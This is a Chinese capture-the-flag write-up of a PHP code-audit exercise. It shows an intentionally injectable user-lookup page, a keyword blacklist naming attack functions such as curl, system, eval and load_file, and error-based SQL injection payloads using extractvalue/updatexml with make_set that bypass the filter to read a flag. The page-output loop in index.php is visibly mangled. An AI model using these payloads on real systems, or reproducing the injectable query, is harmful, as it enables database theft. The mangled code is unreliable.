PHP代码审计Day1题解

题目来源先知社区红日安全中的day1

//index.php

include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
    die("连接失败: ");
}

$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    $whitelist = range(1, $row['COUNT(*)']);
}

$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";

if (!in_array($id, $whitelist)) {
    die("id $id is not in whitelist.");
}

$result = $conn->query($sql);
if($result->num_rows > 0){
    $row = $result->fetch_assoc();
    echo "
";foreach($rowas$key=>$value){echo"
";echo"
";}echo"
$key
$value
"
; } else{ die($conn->error); } ?>
//config.php
  
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "day1";

function stop_hack($value){
	$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
	$back_list = explode("|",$pattern);
	foreach($back_list as $hack){
		if(preg_match("/$hack/i", $value))
			die("$hack detected!");
	}
	return $value;
}
?>

解析:

通过stop_hack($_GET[‘id’]);传入id,执行stop_hack函数,我们来看下这个函数代码。
config.php文件第8-16行看出执行了过滤再返回得值赋予给了id。

function stop_hack($value){
	$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
	$back_list = explode("|",$pattern);
	foreach($back_list as $hack){
		if(preg_match("/$hack/i", $value))
			die("$hack detected!");
	}
	return $value;
}

explode() 函数:把字符串打散为数组,这里分隔符用了|
preg_match函数:执行正则表达式匹配,匹配到了返回0或1,加了/i表示不区分大小写匹配

我们要进行绕过这个函数过滤,可以发现这里没有过滤extractvalue和updatexml函数。concat已经过滤,我们可以用make_set()

MAKE_SET(x,s1,s2…): 先将x转化成二进制,例如11的二进制为1011,将二进制顺序颠倒变成1101,每一位数再与后面的字符串相对应,为1的截取,为0的丢弃。
在这楼里1二进制为1,截取第一个保留显示。

返回到index.php文件中,在执行sql语句前先进行了一次in_array判断。

range() 函数创建并返回一个包含指定范围的元素的数组。 in_array() 函数搜索数组中是否存在指定的值。第三个参数为true,则检查搜索的数据与数组的值的类型是否相同。默认为关闭严格匹配,因为php是弱语言得特性,匹配时候会进行强制转换。

$whitelist是包含整数得一个数组,表里有5个数据,所以id要小于等于5。
id<=5则匹配到返回true,!取反等于false。后面执行sql查询。
payload:

?id=1 and extractvalue(1,make_set(1,(select flag from flag))
?id=1 and updatexml(1,make_set(1,(select flag from flag)),1)

此处in_array()由于没有进行严格匹配,导致绕过。

总结:

in_array() 函数搜索数组中是否存在指定的值。第三个参数为true,则检查搜索的数据与数组的值的类型是否相同。默认为关闭严格匹配,因为php是弱语言得特性,匹配时候会进行强制转换。
preg_match函数:执行正则表达式匹配,匹配到了返回0或1,加了/i表示不区分大小写匹配
explode() 函数:把字符串打散为数组,这里分隔符用了| explode() 函数:把字符串打散为数组

sql报错注入:
id=1 and extractvalue(1,make_set(1,(select flag from flag))
id=1 and updatexml(1,make_set(1,(select flag from flag)),1)

MAKE_SET(x,s1,s2…): 先将x转化成二进制,例如11的二进制为1011,将二进制顺序颠倒变成1101,每一位数再与后面的字符串相对应,为1的截取,为0的丢弃。

你可能感兴趣的:(WEB安全,PHP代码审计)